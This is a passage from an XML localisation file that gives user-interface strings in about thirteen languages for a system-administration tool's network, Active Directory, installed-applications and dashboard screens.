<nl>IP-adressen omzetten</nl>
</msg>
<msg name="RESOLVENOTE">
<en>If you select to resolve IP addresses to host names, the operation can
take a long time, depending on the number of remote hosts connected to this computer.</en>
<de>Anmerkung: Wenn Sie das Auflösen der IP-Adressen zu Hostnamen aktivieren, kann dies unter
Umständen einen langen Zeitraum in Anspruch nehmen, abhängig von der Menge an Computern, die
mit diesem Computer verbunden sind.</de>
<es>Si elige resolver direcciones IP a nombres de host, la operación
puede tardar mucho, dependiendo del número de hosts remotos conectados a este ordenador.</es>
<fr>Si vous choisissez de résoudre les adresses IP de l'hôte, l'opération peut
durer longtemps, en fonction du nombre de machines distantes connectées à cet ordinateur.</fr>
<it>Se è stata selezionata la risoluzione degli indirizzi IP ai nomi host, l'operazione può richiedere diverso tempo, a seconda del numero di host remoti connessi al computer.</it>
<ru>Если выбран вариант разрешения IP-адресов в хост-именах, то такая операция может занять много времени в зависимости от количества удаленных хост-компьютеров, подключенных к данному компьютеру.</ru>
<ja>IP アドレスをホスト名に解決するように選択した場合、このコンピュータに接続されているリモート ホストの数によっては処理に長時間かかる場合があります。</ja>
<zh>如果您选择将 IP 地址解析为主机名,则此操作可能需要很长时间,这取决于连接至该计算机的远程主机的数目。</zh>
<ko>IP 주소를 호스트 이름으로 확인하기로 선택한 경우, 작업 소요 시간은 컴퓨터에 연결된 원격 호스트 수에 따라 다릅니다.</ko>
<en-gb>If you select to resolve IP addresses to host names, the operation can take a long time, depending on the number of remote hosts connected to this computer.</en-gb>
<hu>Amennyiben az IP címeknek állomásnevekké történő feloldását választja, a művelet
hosszú időt vehet igénybe, a számítógéphez csatlakozó távoli állomások számától függően.</hu>
<pt-br>Se você tiver optado por resolver endereços IP nos nomes do host, a operação poderá
demorar, dependendo do número de hosts remotos conectados ao computador.</pt-br>
<nl>Als u de optie hebt ingeschakeld om IP-adressen om te zetten in hostnamen, kan deze actie enige tijd in beslag nemen, afhankelijk van het aantal externe hostcomputers die met deze computer zijn verbonden.</nl>
</msg>
<msg name="PROCESS">
<en>Process</en>
<de>Prozess</de>
<es>Proceso</es>
<fr>Processus</fr>
<it>Processo</it>
<ru>Процесс</ru>
<ja>プロセス</ja>
<zh>进程</zh>
<ko>프로세스</ko>
<en-gb>Process</en-gb>
<hu>Folyamat</hu>
<pt-br>Processo</pt-br>
<nl>Proces</nl>
</msg>
<msg name="LOCAL">
<en>Local</en>
<de>Lokal</de>
<es>Local</es>
<fr>Local</fr>
<it>Locale</it>
<ru>Локальный</ru>
<ja>ローカル</ja>
<zh>本地</zh>
<ko>로컬</ko>
<en-gb>Local</en-gb>
<hu>Helyi</hu>
<pt-br>Local</pt-br>
<nl>Lokaal</nl>
</msg>
<msg name="REMOTE">
<en>Remote</en>
<de>Remote</de>
<es>Remoto</es>
<fr>Distant</fr>
<it>Remoto</it>
<ru>Удаленный</ru>
<ja>リモート</ja>
<zh>远程</zh>
<ko>원격</ko>
<en-gb>Remote</en-gb>
<hu>Távoli</hu>
<pt-br>Remoto</pt-br>
<nl>Extern</nl>
</msg>
<msg name="IP">
<en>IP Address</en>
<de>IP-Adresse</de>
<es>Dirección IP</es>
<fr>Adresse Ip</fr>
<it>Indirizzo IP</it>
<ru>IP-адрес</ru>
<ja>IP アドレス</ja>
<zh>IP 地址</zh>
<ko>IP 주소</ko>
<en-gb>IP Address</en-gb>
<hu>IP cím</hu>
<pt-br>Endereço IP</pt-br>
<nl>IP-adres</nl>
</msg>
<msg name="PORT">
<en>Port</en>
<de>Port</de>
<es>Puerto</es>
<fr>Port</fr>
<it>Porta</it>
<ru>Порт</ru>
<ja>ポート</ja>
<zh>端口</zh>
<ko>포트</ko>
<en-gb>Port</en-gb>
<hu>Port</hu>
<pt-br>Porta</pt-br>
<nl>Poort</nl>
</msg>
<msg name="ADAPTER">
<en>Adapter</en>
<es>Adaptador</es>
<fr>Adaptateur</fr>
<de>Adapter</de>
<it>Scheda di rete</it>
<ru>Адаптер</ru>
<ja>ネットワーク アダプタ</ja>
<zh>适配器</zh>
<ko>어댑터</ko>
<en-gb>Adapter</en-gb>
<hu>Hálózati adapter</hu>
<pt-br>Adaptador</pt-br>
<nl>Adapter</nl>
</msg>
</cat>
<!-- "active directory" messages -->
<cat name="ADS">
<msg name="TITLE">
<en>Active Directory</en>
<de>Active Directory</de>
<es>Directorio activo</es>
<fr>Répertoire actif</fr>
<it>Directory attiva</it>
<ru>Active Directory</ru>
<ja>アクティブ ディレクトリ</ja>
<zh>活动目录</zh>
<ko>Active Directory</ko>
<en-gb>Active Directory</en-gb>
<hu>Active Directory</hu>
<pt-br>Active Directory</pt-br>
<nl>Active Directory</nl>
</msg>
<msg name="PROPERTIES">
<en>Properties for %OBJECT.PATH</en>
<de>Eigenschaften von %OBJECT.PATH</de>
<es>Propiedades para %OBJECT.PATH</es>
<fr>Propriétés pour  %OBJECT.PATH</fr>
<it>Proprietà per %OBJECT.PATH</it>
<ru>Свойства для %OBJECT.PATH</ru>
<ja>%OBJECT.PATH のプロパティ</ja>
<zh>%OBJECT.PATH 的属性</zh>
<ko>%OBJECT.PATH에 대한 속성</ko>
<en-gb>Properties for %OBJECT.PATH</en-gb>
<hu>%OBJECT.PATH tulajdonságai</hu>
<pt-br>Propriedades de %OBJECT.PATH</pt-br>
<nl>Eigenschappen voor %OBJECT.PATH</nl>
</msg>
<msg name="PROPERTIES.NONE">
<en>There are no properties for %OBJECT.PATH</en>
<de>Zu %OBJECT.PATH sind keine Eigenschaften verfügbar</de>
<es>No existen propiedades para %OBJECT.PATH</es>
<fr>Il n'y a pas de propriété attachée à  %OBJECT.PATH</fr>
<it>Nessuna proprietà per %OBJECT.PATH</it>
<ru>Нет свойств для %OBJECT.PATH</ru>
<ja>%OBJECT.PATH のプロパティはありません</ja>
<zh>没有 %OBJECT.PATH 的属性</zh>
<ko>%OBJECT.PATH에 대한 속성이 없습니다</ko>
<en-gb>There are no properties for %OBJECT.PATH</en-gb>
<hu>A(z) %OBJECT.PATH nem rendelkezik tulajdonságokkal</hu>
<pt-br>Não há propriedades para %OBJECT.PATH</pt-br>
<nl>Er zijn geen eigenschappen aangetroffen voor %OBJECT.PATH</nl>
</msg>
<msg name="CHILDREN">
<en>Children of %OBJECT.PATH</en>
<de>Untergeordnete Objekte von %OBJECT.PATH</de>
<es>Hijos de %OBJECT.PATH</es>
<fr>Enfants de %OBJECT.PATH</fr>
<it>Figlio di %OBJECT.PATH</it>
<ru>Дочерние объекты %OBJECT.PATH</ru>
<ja>%OBJECT.PATH の子</ja>
<zh>%OBJECT.PATH 的子项</zh>
<ko>%OBJECT.PATH의 자식</ko>
<en-gb>Children of %OBJECT.PATH</en-gb>
<hu>%OBJECT.PATH gyermekei</hu>
<pt-br>Filhos de %OBJECT.PATH</pt-br>
<nl>Onderliggende items voor %OBJECT.PATH</nl>
</msg>
<msg name="CHILDREN.NONE">
<en>There are no child objects of %OBJECT.PATH</en>
<de>Zu %OBJECT.PATH gibt es keine untergeordneten Objekte</de>
<es>No existen objetos hijo de %OBJECT.PATH</es>
<fr>Il n'y a pas d'objet enfant attaché à %OBJECT.PATH</fr>
<it>Nessun oggetto figlio di %OBJECT.PATH</it>
<ru>У %OBJECT.PATH нет дочерних объектов</ru>
<ja>%OBJECT.PATH の子オブジェクトはありません</ja>
<zh>没有 %OBJECT.PATH 的子对象</zh>
<ko>%OBJECT.PATH의 자식 개체가 없습니다.</ko>
<en-gb>There are no child objects of %OBJECT.PATH</en-gb>
<hu>A(z)  %OBJECT.PATH nem rendelkezik gyermekobjektumokkal</hu>
<pt-br>Não há objetos filhos para %OBJECT.PATH</pt-br>
<nl>Er zijn geen onderliggende items voor %OBJECT.PATH</nl>
</msg>
<msg name="CLASS">
<en>Class</en>
<de>Klasse</de>
<es>Clase</es>
<fr>Classe</fr>
<it>Classe</it>
<ru>Класс</ru>
<ja>クラス</ja>
<zh>类</zh>
<ko>클래스</ko>
<en-gb>Class</en-gb>
<hu>Osztály</hu>
<pt-br>Classe</pt-br>
<nl>Klasse</nl>
</msg>
<msg name="GUID">
<en>GUID</en>
<de>GUID</de>
<es>GUID</es>
<fr>GUID</fr>
<it>GUID</it>
<ru>GUID</ru>
<ja>GUID</ja>
<zh>GUID</zh>
<ko>GUID</ko>
<en-gb>GUID</en-gb>
<hu>GUID - Grafikus felhasználói felület</hu>
<pt-br>GUID</pt-br>
<nl>GUID</nl>
</msg>
<msg name="NEED">
<!-- whether object properties are mandatory or optional -->
<en>Need</en>
<de>Benötigt</de>
<es>Necesario</es>
<fr>Besoin</fr>
<it>Necessario</it>
<ru>Необходимые</ru>
<ja>必要</ja>
<zh>需要</zh>
<ko>필요</ko>
<en-gb>Need</en-gb>
<hu>Szükséges</hu>
<pt-br>Necessário</pt-br>
<nl>Vereist</nl>
</msg>
<msg name="NEED.MANDATORY">
<en>Mandatory</en>
<de>Erforderlich</de>
<es>Obligatorio</es>
<fr>Obligatoire</fr>
<it>Obbligatorio</it>
<ru>Обязательные</ru>
<ja>必須</ja>
<zh>必需</zh>
<ko>필수</ko>
<en-gb>Mandatory</en-gb>
<hu>Kötelező</hu>
<pt-br>Obrigatório</pt-br>
<nl>Verplicht</nl>
</msg>
<msg name="NEED.OPTIONAL">
<en>Optional</en>
<de>Optional</de>
<es>Opcional</es>
<fr>Optionnel</fr>
<it>Opzionale</it>
<ru>Необязательные</ru>
<ja>任意</ja>
<zh>可选</zh>
<ko>선택</ko>
<en-gb>Optional</en-gb>
<hu>Opcionális</hu>
<pt-br>Opcional</pt-br>
<nl>Optioneel</nl>
</msg>
<msg name="NEED.NAMING">
<en>Naming</en>
<de>Benennung</de>
<es>Denominación</es>
<fr>Naming</fr>
<it>Denominazione</it>
<ru>Именование</ru>
<ja>命名</ja>
<zh>命名</zh>
<ko>명명</ko>
<en-gb>Naming</en-gb>
<hu>Elnevezés</hu>
<pt-br>Nomeando</pt-br>
<nl>Naamgeving</nl>
</msg>
<msg name="NTLMNOTE">
<en>You are logged on using NTLM authentication, which may result in some
properties and objects not being listed. Log on with your username/password to
make sure that all the details are available.</en>
<de>Anmerkung: Sie haben sich über NTLM authentifiziert. Dadurch werden möglicherweise einige 
Eigenschaften und Objekte nicht angezeigt. Verwenden Sie Ihren Benutzernamen und Kennwort
zur Anmeldung damit alle Eigenschaften und Objekte verfügbar werden.</de>
<es>Ha iniciado sesión utilizando autenticación NTLM, lo que podría implicar que
algunas propiedades y objetos no aparezcan en la lista. Inicie sesión con su nombre de usuario/contraseña para
asegurarse de que todos los detalles estén disponibles.</es>
<fr>Vous êtes connecté(e)s en utilisant une authentification NTLM, ce qui peut résulter
au non affichage de propriétés et/ou d'objets. Connectez-vous avec
votre nom d'utilisateur/mot de passe pour être certain que tous les détails sont disponiles</fr>
<it>L'accesso è stato eseguito utilizzando l'autenticazione NTLM; ciò può comportare che alcuni oggetti e proprietà non vengano riportati nell'elenco. Accedere con il proprio nome utente e la propria password per essere certi che tutti i dettagli siano disponibili.</it>
<ru>Вход в систему выполнен с помощью проверки подлинности NTLM, что может привести к появлению некоторых свойств и объектов, которые не были перечислены. Войдите в систему с использованием свого имени пользователя и пароля, чтобы гарантировать доступность всей информации.</ru>
<ja>NTLM 認証を使ってログインしているため、プロパティおよびオブジェクトの一部がリストに表示されない場合があります。詳細がすべて表示されるようにするには、ユーザ名およびパスワードでログインしてください。</ja>
<zh>使用 NTLM 验证进行登录,可能导致不会列出某些属性和对象。请使用您的用户名/密码登录以确保所有详细信息均可用。</zh>
<ko>NTLM 인증을 사용하여 로그온하는 중이므로 일부 속성 및 개체가 표시되지 않을 수 있습니다. 사용자 이름/암호로 로그온하여 모든 세부사항이 사용 가능한지 확인합니다.</ko>
<en-gb>You are logged on using NTLM authentication, which may result in some properties and objects not being listed. Log on with your username/password to make sure that all the details are available.</en-gb>
<hu>Ön NTLM hitelesítéssel jelentkezett be, és ennek eredményeként néhány
tulajdonság és objektum nem jelenik meg. Jelentkezzen be felhasználói nevével és jelszavával, hogy
minden részlet biztosan elérhető legyen.</hu>
<pt-br>Você está conectado usando autenticação NTLM, o que pode resultar na não
listagem de propriedades e objetos. Faça logon com seu nome de usuário/senha para
assegurar que todos detalhes estejam disponíveis.</pt-br>
<nl>U bent aangemeld met gebruik van de NTLM-verificatie, waardoor bepaalde eigenschappen en items mogelijk niet worden weergegeven. Meld u aan met uw gebruikersnaam/wachtwoord om ervoor te zorgen dat alle detailgegevens beschikbaar zijn.</nl>
</msg>
</cat>
<!-- general messages for quick links -->
<cat name="APPS">
<msg name="TITLE">
<en>Installed Applications</en>
<de>Installierte Anwendungen</de>
<es>Aplicaciones instaladas</es>
<fr>Applications installées</fr>
<it>Applicazioni installate</it>
<ru>Установленные приложения</ru>
<ja>インストール済アプリケーション</ja>
<zh>已安装的应用程序</zh>
<ko>설치된 응용 프로그램</ko>
<en-gb>Installed Applications</en-gb>
<hu>Telepített alkalmazások</hu>
<pt-br>Aplicativos instalados</pt-br>
<nl>Geïnstalleerde toepassingen</nl>
</msg>
<msg name="PUBLISHER">
<en>Publisher</en>
<de>Herausgeber</de>
<es>Fabricante</es>
<fr>Editeur</fr>
<it>Autore</it>
<ru>Издатель</ru>
<ja>発行者</ja>
<zh>发布者</zh>
<ko>발행인</ko>
<en-gb>Publisher</en-gb>
<hu>Kiadó</hu>
<pt-br>Editor</pt-br>
<nl>Uitgever</nl>
</msg>
<msg name="DIR">
<en>Installation Directory</en>
<de>Installationsverzeichnis</de>
<es>Directorio de instalación</es>
<fr>Répertoire d'installation</fr>
<it>Directory di installazione</it>
<ru>Каталог установки</ru>
<ja>インストール ディレクトリ</ja>
<zh>安装目录</zh>
<ko>설치 디렉터리</ko>
<en-gb>Installation Directory</en-gb>
<hu>Telepítési könyvtár</hu>
<pt-br>Diretório de instalação</pt-br>
<nl>Installatiemap</nl>
</msg>
<msg name="SRC">
<en>Installation Source</en>
<de>Installationsquelle</de>
<es>Fuente de instalación</es>
<fr>Source d'installation</fr>
<it>Origine dell'installazione</it>
<ru>Источник установки</ru>
<ja>インストール ソース</ja>
<zh>安装源</zh>
<ko>설치 원본</ko>
<en-gb>Installation Source</en-gb>
<hu>Telepítési forrás</hu>
<pt-br>Origem da instalação</pt-br>
<nl>Installatiebron</nl>
</msg>
<msg name="DATE">
<en>Installation Date</en>
<de>Installationsdatum</de>
<es>Fecha de instalación</es>
<fr>Date d'installation</fr>
<it>Data di installazione</it>
<ru>Дата установки</ru>
<ja>インストールされた日付</ja>
<zh>安装日期</zh>
<ko>설치 날짜</ko>
<en-gb>Installation Date</en-gb>
<hu>Telepítés dátuma</hu>
<pt-br>Data da instalação</pt-br>
<nl>Installatiedatum</nl>
</msg>
<msg name="UNINST">
<en>Uninstall String</en>
<de>Befehlszeile für die Deinstallation</de>
<es>Secuencia de desinstalación</es>
<fr>Lien de désinstallation</fr>
<it>Stringa di disinstallazione</it>
<ru>Последовательность отмены установки</ru>
<ja>アンインストール文字列</ja>
<zh>卸载字符串</zh>
<ko>문자열 제거</ko>
<en-gb>Uninstall String</en-gb>
<hu>Eltávolítási sor</hu>
<pt-br>Seqüências de caracteres de desinstalação</pt-br>
<nl>Tekenreeks voor ongedaan maken van installatie</nl>
</msg>
<msg name="UNINSTQ">
<en>Uninstall String (quiet)</en>
<de>Befehlszeile für die unbeaufsichtigte Deinstallation</de>
<es>Secuencia de desinstalación (silenciosa)</es>
<fr>Lien de désinstallation (silencieux - quiet)</fr>
<it>Stringa di disinstallazione (non interattiva)</it>
<ru>Последовательность отмены установки (без сообщений)</ru>
<ja>アンインストール文字列 (簡易表示)</ja>
<zh>卸载字符串(无提示)</zh>
<ko>문자열 제거(자동)</ko>
<en-gb>Uninstall String (quiet)</en-gb>
<hu>Eltávolítási sor (csendes)</hu>
<pt-br>Seqüência de caracteres de desinstalação (silenciosa)</pt-br>
<nl>Tekenreeks voor ongedaan maken van installatie (op achtergrond)</nl>
</msg>
<msg name="COMMENT">
<en>Comment</en>
<de>Kommentar</de>
<es>Comentario</es>
<fr>Commentaire</fr>
<it>Commento</it>
<ru>Комментарий</ru>
<ja>コメント</ja>
<zh>注释</zh>
<ko>주석</ko>
<en-gb>Comment</en-gb>
<hu>Megjegyzés</hu>
<pt-br>Comentários</pt-br>
<nl>Opmerking</nl>
</msg>
<msg name="README">
<en>Readme file</en>
<de>Readme Datei</de>
<es>Archivo léame</es>
<fr>Fichier Lisez-moi</fr>
<it>File Leggimi</it>
<ru>Файл "Readme"</ru>
<ja>Readme ファイル</ja>
<zh>自述文件</zh>
<ko>추가 정보 파일</ko>
<en-gb>Readme file</en-gb>
<hu>Readme fájl</hu>
<pt-br>Arquivo Leiame</pt-br>
<nl>Leesmij-bestand</nl>
</msg>
<msg name="SIZE">
<en>Size</en>
<de>Größe</de>
<es>Tamaño</es>
<fr>Taille</fr>
<it>Dimensione</it>
<ru>Размер</ru>
<ja>サイズ</ja>
<zh>大小</zh>
<ko>크기</ko>
<en-gb>Size</en-gb>
<hu>Méret</hu>
<pt-br>Tamanho</pt-br>
<nl>Grootte</nl>
</msg>
<msg name="SIZECA">
<en>Estimated Size</en>
<de>Geschätzte Größe</de>
<es>Tamaño estimado</es>
<fr>Taille estimée</fr>
<it>Dimensione stimata</it>
<ru>Ожидаемый размер</ru>
<ja>予想サイズ</ja>
<zh>估计的大小</zh>
<ko>예상 크기</ko>
<en-gb>Estimated Size</en-gb>
<hu>Becsült méret</hu>
<pt-br>Tamanho estimado</pt-br>
<nl>Geschatte grootte</nl>
</msg>
<msg name="LASTUSED">
<en>Last Used</en>
<de>Zuletzt verwendet</de>
<es>Utilizado por última vez</es>
<fr>Dernière utilisation</fr>
<it>Ultimo utilizzo</it>
<ru>Дата последнего использования</ru>
<ja>前回使用</ja>
<zh>上次使用</zh>
<ko>마지막으로 사용된 날짜</ko>
<en-gb>Last Used</en-gb>
<hu>Utolsó használat</hu>
<pt-br>Última utilização</pt-br>
<nl>Laatst gebruikt</nl>
</msg>
<msg name="FREQUSED">
<en>Used</en>
<de>Verwendet</de>
<es>Utilizado</es>
<fr>Utilisé</fr>
<it>Utilizzato</it>
<ru>Использовано</ru>
<ja>使用済み</ja>
<zh>已使用</zh>
<ko>사용됨</ko>
<en-gb>Used</en-gb>
<hu>Használatban</hu>
<pt-br>Usado</pt-br>
<nl>Gebruikt</nl>
</msg>
<msg name="FREQ.LO">
<en>rarely</en>
<de>selten</de>
<es>pocas veces</es>
<fr>Rarement</fr>
<it>raramente</it>
<ru>редко</ru>
<ja>あまり使用しない</ja>
<zh>很少</zh>
<ko>거의 안 함</ko>
<en-gb>rarely</en-gb>
<hu>ritkán</hu>
<pt-br>raramente</pt-br>
<nl>zelden</nl>
</msg>
<msg name="FREQ.MD">
<en>occassionally</en>
<de>gelegentlich</de>
<es>ocasionalmente</es>
<fr>Ocasionnellement</fr>
<it>occasionalmente</it>
<ru>изредка</ru>
<ja>ときどき使用する</ja>
<zh>偶尔</zh>
<ko>가끔</ko>
<en-gb>occasionally</en-gb>
<hu>alkalmanként</hu>
<pt-br>ocasionalmente</pt-br>
<nl>soms</nl>
</msg>
<msg name="FREQ.HI">
<en>frequently</en>
<de>häufig</de>
<es>frecuentemente</es>
<fr>Souvent</fr>
<it>frequentemente</it>
<ru>часто</ru>
<ja>頻繁に使用する</ja>
<zh>经常</zh>
<ko>자주</ko>
<en-gb>frequently</en-gb>
<hu>gyakran</hu>
<pt-br>freqüentemente</pt-br>
<nl>regelmatig</nl>
</msg>
<msg name="URL.HELP">
<en>Product Information</en>
<de>Produktinformation</de>
<es>Información del producto</es>
<fr>Information à propos du produit</fr>
<it>Informazioni sul prodotto</it>
<ru>Информация о продукте</ru>
<ja>製品情報</ja>
<zh>产品信息</zh>
<ko>제품 정보</ko>
<en-gb>Product Information</en-gb>
<hu>Termékinformáció</hu>
<pt-br>Informações sobre o produto</pt-br>
<nl>Productgegevens</nl>
</msg>
<msg name="URL.UPDATE">
<en>Product Updates</en>
<de>Produktaktualisierungen</de>
<es>Actualizaciones del producto</es>
<fr>Mise à jour du produit</fr>
<it>Aggiornamenti del prodotto</it>
<ru>Обновления продукта</ru>
<ja>製品の更新</ja>
<zh>产品更新</zh>
<ko>제품 업데이트</ko>
<en-gb>Product Updates</en-gb>
<hu>Termékfrissítés</hu>
<pt-br>Atualizações do produto</pt-br>
<nl>Updates van het product</nl>
</msg>
<msg name="REG.FIRM">
<en>Registered Company</en>
<de>Registrierte Firma</de>
<es>Empresa registrada</es>
<fr>Société enregistrée</fr>
<it>Società registrata</it>
<ru>Зарегистрированная компания</ru>
<ja>登録企業</ja>
<zh>已注册的公司</zh>
<ko>등록 회사</ko>
<en-gb>Registered Company</en-gb>
<hu>Bejegyzett cég</hu>
<pt-br>Empresa registrada</pt-br>
<nl>Geregistreerd bedrijf</nl>
</msg>
<msg name="REG.USER">
<en>Registered Owner</en>
<de>Registrierter Besitzer</de>
<es>Propietario registrado</es>
<fr>Personne enregistrée</fr>
<it>Proprietario registrato</it>
<ru>Зарегистрированный владелец</ru>
<ja>登録名義人</ja>
<zh>已注册的所有者</zh>
<ko>등록 소유자</ko>
<en-gb>Registered Owner</en-gb>
<hu>Bejegyzett tulajdonos</hu>
<pt-br>Proprietário registrado</pt-br>
<nl>Geregistreerde eigenaar</nl>
</msg>
</cat>
</cat>
<cat name="DASH">
<msg name="TITLE">
<en>Dashboard</en>
<de>Dashboard</de>
<es>Panel de información</es>
<fr>Tableau</fr>
<it>Dashboard</it>
<ru>Инструмент. панель</ru>
<ja>ダッシュボード</ja>
<zh>控制面板</zh>
<ko>대시보드</ko>
<en-gb>Dashboard</en-gb>
<hu>Vezérlőpult</hu>
<pt-br>Painel</pt-br>
<nl>Dashboard</nl>
</msg>
<msg name="HELP">
<en>Help</en>
<de>Hilfe</de>
<fr>Aide</fr>
<ja>ヘルプ</ja>
<es>Ayuda</es>
<it>Aiuto</it>
<ru>Справка</ru>
<zh>帮助</zh>
<ko>도움말</ko>
<en-gb>Help</en-gb>
<hu>Súgó</hu>
<pt-br>Ajuda</pt-br>
<nl>Help</nl>
</msg>
<msg name="MINIMIZE">
<en>Minimize window</en>
<es>Minimizar ventana</es>
<de>Fenster minimieren</de>
<fr>Réduire la fenêtre</fr>
<it>Riduci la finestra a icona</it>
<ru>Свернуть окно</ru>
<ja>ウィンドウの最小化</ja>
<zh>最小化窗口</zh>
<ko>창 최소화</ko>
<en-gb>Minimize window</en-gb>
<hu>Ablak kis méretűre állítása</hu>
<pt-br>Minimizar janela</pt-br>
<nl>Venster minimaliseren</nl>
</msg>
<msg name="MAXIMIZE">
<en>Maximize window</en>
<de>Maximieren</de>
<es>Maximizar ventana</es>
<fr>Agrandir</fr>
<it>Ingrandisci finestra</it>
<ru>Развернуть окно</ru>
<ja>ウィンドウの最大化</ja>
<zh>最大化窗口</zh>
<ko>창 최대화</ko>
<en-gb>Maximise window</en-gb>
<hu>Ablak teljes méretűre állítása</hu>
<pt-br>Maximizar janela</pt-br>
<nl>Venster maximaliseren</nl>
</msg>
<msg name="DOWN">
<en>Move down</en>
<de>Nach unten</de>
<es>Mover abajo</es>
<fr>Vers le bas</fr>
<it>Sposta giù</it>
<ru>Переместить вниз</ru>
<ja>下に移動</ja>
<zh>下移</zh>
<ko>아래로 이동</ko>
<en-gb>Move down</en-gb>
<hu>Mozgatás lefelé</hu>
<pt-br>Mover para baixo</pt-br>
<nl>Omlaag</nl>
</msg>
<msg name="UP">
<en>Move up</en>
<de>Nach oben</de>
<es>Mover arriba</es>
<fr>Vers le haut</fr>
<it>Sposta su</it>
<ru>Переместить вверх</ru>
<ja>上に移動</ja>
<zh>上移</zh>
<ko>위로 이동</ko>
<en-gb>Move up</en-gb>
<hu>Mozgatás felfelé</hu>
<pt-br>Mover para cima</pt-br>
<nl>Omhoog</nl>
</msg>
<msg name="LEFT">
<en>Move left</en>
<de>Nach links</de>
<es>Mover a la izquierda</es>
<fr>Vers la gauche</fr>
<it>Sposta a sinistra</it>
<ru>Переместить влево</ru>
<ja>左に移動</ja>
<zh>左移</zh>
<ko>왼쪽으로 이동</ko>
<en-gb>Move left</en-gb>
<hu>Mozgatás balra</hu>
<pt-br>Mover para esquerda</pt-br>
<nl>Naar links</nl>
</msg>
<msg name="RIGHT">
<en>Move right</en>
<de>Nach rechts</de>
<es>Mover a la derecha</es>
<fr>Vers la droite</fr>
<it>Sposta a destra</it>
<ru>Переместить вправо</ru>
<ja>右に移動</ja>
<zh>右移</zh>
<ko>오른쪽으로 이동</ko>
<en-gb>Move right</en-gb>
<hu>Mozgatás jobbra</hu>
<pt-br>Mover para direita</pt-br>
<nl>Naar rechts</nl>
</msg>
<msg name="TOPN">
<en>Top</en>
<de>Erste</de>
<es>Arriba</es>
<fr>Haut</fr>
<it>Superiore</it>
<ru>Вверх</ru>
<ja>トップ</ja>
<zh>顶部</zh>
<ko>맨 위</ko>
<en-gb>Top</en-gb>
<hu>Felülre</hu>
<pt-br>Principais</pt-br>
<nl>Bovenaan</nl>
</msg>
<msg name="SYS.TITLE">
<en>System Information</en>
<es>Información del sistema</es>
<fr>Information système</fr>
<de>Systeminformationen</de>
<it>Informazioni sul sistema</it>
<ru>Системная информация</ru>
<ja>システム情報</ja>
<zh>系统信息</zh>
<ko>시스템 정보</ko>
<en-gb>System Information</en-gb>
<hu>Rendszer-információk</hu>
<pt-br>System Information (Informações do sistema)</pt-br>
<nl>Systeemgegevens</nl>
</msg>
<msg name="SYS.TITLE.TIP">
<en>View details</en>
<de>Details anzeigen</de>
<es>Ver detalles</es>
<fr>Voir les détails</fr>
<it>Visualizza dettagli</it>
<ru>Просмотреть сведения</ru>
<ja>詳細を表示</ja>
<zh>查看详细信息</zh>
<ko>자세히 보기</ko>
<en-gb>View details</en-gb>
<hu>Részletek megtekintése</hu>
<pt-br>Exibir detalhes</pt-br>
<nl>Detailgegevens weergeven</nl>
</msg>
<msg name="SYS.LASTBOOT">
<en>Last booted</en>
<es>Arrancado por última vez</es>
<fr>Dernier démarrage</fr>
<de>Zuletzt gestartet</de>
<it>Ultimo avvio</it>
<ru>Загружено в последний раз</ru>
<ja>前回のブート</ja>
<zh>上次引导</zh>
<ko>마지막으로 부팅된 날짜</ko>
<en-gb>Last booted</en-gb>
<hu>Utolsó indítás</hu>
<pt-br>Última inicialização</pt-br>
<nl>Laatst opgestart</nl>
</msg>
<msg name="SYS.HOTFIX.VIEW">
<en>Click here to view installed hotfixes</en>
<es>Haga clic aquí para ver los hotfixes instalados</es>
<de>Klicken Sie hier, um die installierten Hotfixes einzublenden</de>
<fr>Cliquez ici pour afficher les corrections dynamiques installées</fr>
<it>Fare clic qui per vedere le correzioni installate</it>
<ru>Щелкните здесь, что просмотреть установленные исправления.</ru>
<ja>インストール済みホットフィックスを表示するには、ここをクリックします。</ja>
<zh>单击此处可以查看已安装的修补程序</zh>
<ko>설치된 hotfix를 보려면 여기를 클릭하십시오</ko>
<en-gb>Click here to view installed hotfixes</en-gb>
<hu>Kattintson ide a telepített gyorsjavítások megtekintéséhez</hu>
<pt-br>Clique aqui para ver hotfixes instalados</pt-br>
<nl>Klik hier als u de geïnstalleerde hotfixes wilt weergeven</nl>
</msg>
<msg name="SYS.HOTFIX.VIEW.TIP">
<en>Show Hotfix list</en>
<de>Hotfix list anzeigen</de>
<es>Mostrar lista de hotfixes</es>
<fr>Montrer la liste des Rustines</fr>
<it>Mostra elenco correzioni</it>
<ru>Показать список исправлений</ru>
<ja>ホットフィックス リストを表示</ja>
<zh>显示修补程序列表</zh>
<ko>Hotfix 목록 표시</ko>
<en-gb>Show Hotfix list</en-gb>
<hu>Gyorsjavítás lista mutatása</hu>
<pt-br>Mostra lista de hotfixes</pt-br>
<nl>Lijst met softwarehotfixes weergeven</nl>
</msg>
<msg name="SYS.HOTFIX.HIDE">
<en>Click here to hide installed hotfixes</en>
<es>Haga clic aquí para ocultar los hotfixes instalados</es>
<de>Klicken Sie hier, um die installierten Hotfixes auszublenden</de>
<fr>Cliquez ici pour masquer les corrections dynamiques installées</fr>
<it>Fare clic qui per nascondere le correzioni installate</it>
<ru>Щелкните здесь, что скрыть установленные исправления.</ru>
<ja>インストール済みホットフィックスを隠すには、ここをクリックします。</ja>
<zh>单击此处可以隐藏已安装的修补程序</zh>
<ko>설치된 hotfix를 숨기려면 여기를 클릭하십시오</ko>
<en-gb>Click here to hide installed hotfixes</en-gb>
<hu>Kattintson ide a telepített gyorsjavítások elrejtéséhez</hu>
<pt-br>Clique aqui para ocultar hotfixes instalados</pt-br>
<nl>Klik hier als u de geïnstalleerde hotfixes wilt verbergen</nl>
</msg>
<msg name="SYS.HOTFIX.HIDE.TIP">
<en>Hide Hotfix list</en>
<de>Hotfix list ausblenden</de>
<es>Ocultar lista de hotfixes</es>
<fr>Cacher la liste des Rustines</fr>
<it>Nascondi elenco correzioni</it>
<ru>Скрыть список исправлений</ru>
<ja>ホットフィックス リストを隠す</ja>
<zh>隐藏修补程序列表</zh>
<ko>Hotfix 목록 숨기기</ko>
<en-gb>Hide Hotfix list</en-gb>
<hu>Gyorsjavítás lista elrejtése</hu>
<pt-br>Ocultar lista de hotfixes</pt-br>
<nl>Lijst met softwarehotfixes verbergen</nl>
</msg>
<msg name="SYS.NORIGHT">
<en>You don't have rights to view system information.</en>
<es>No tiene los derechos necesarios para ver la información del sistema.</es>
<fr>Vous n'avez pas les droits pour voir l'information système.</fr>
<de>Sie haben keine Berechtigungen für die Anzeige der Systeminformationen.</de>
<it>Non si dispone dei diritti necessari per visualizzare le informazioni sul sistema.</it>
<ru>У Вас нет прав на просмотр системной информации.</ru>
<ja>システム情報を閲覧する権限がありません。</ja>
<zh>您无权查看系统信息。</zh>
